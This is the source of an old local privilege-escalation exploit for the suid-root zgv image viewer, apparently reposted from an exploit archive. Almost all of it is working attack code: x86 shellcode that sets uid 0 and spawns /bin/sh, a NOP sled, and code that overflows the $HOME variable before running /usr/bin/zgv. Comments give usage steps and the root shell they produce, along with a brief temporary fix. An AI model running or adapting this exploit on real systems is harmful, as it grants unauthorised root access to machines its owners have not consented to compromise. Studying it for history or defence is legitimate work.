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zgv $HOME overflow
================== zgv $HOME overflow ================== /* * * zgv exploit coded by BeastMaster V on June 20, 1997 * * USAGE: * For some strage reason, the filename length of this * particular exploit must me one character long, otherwise you * will be drop into a normal unpriviledged shell. Go Figure.... * * $ cp zgv_exploit.c n.c * $ cc -o n n.c * $ ./n * Oak driver: Unknown chipset (id = 0) * bash# * * EXPLANATION: zgv (suid root) does not check bounds for $HOME env. * TEMPORARY FIX: chmod u-s /usr/bin/zgv * NOTE: Don't forget to visit http://www.rootshell.com for more exploits. * DISCLAIMER: Please use this in a responsible manner. * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 4096 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() -4675; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("HOME", buffer, 1); execl("/usr/bin/zgv", "/usr/bin/zgv", NULL); } # 0day.today [2024-12-24] #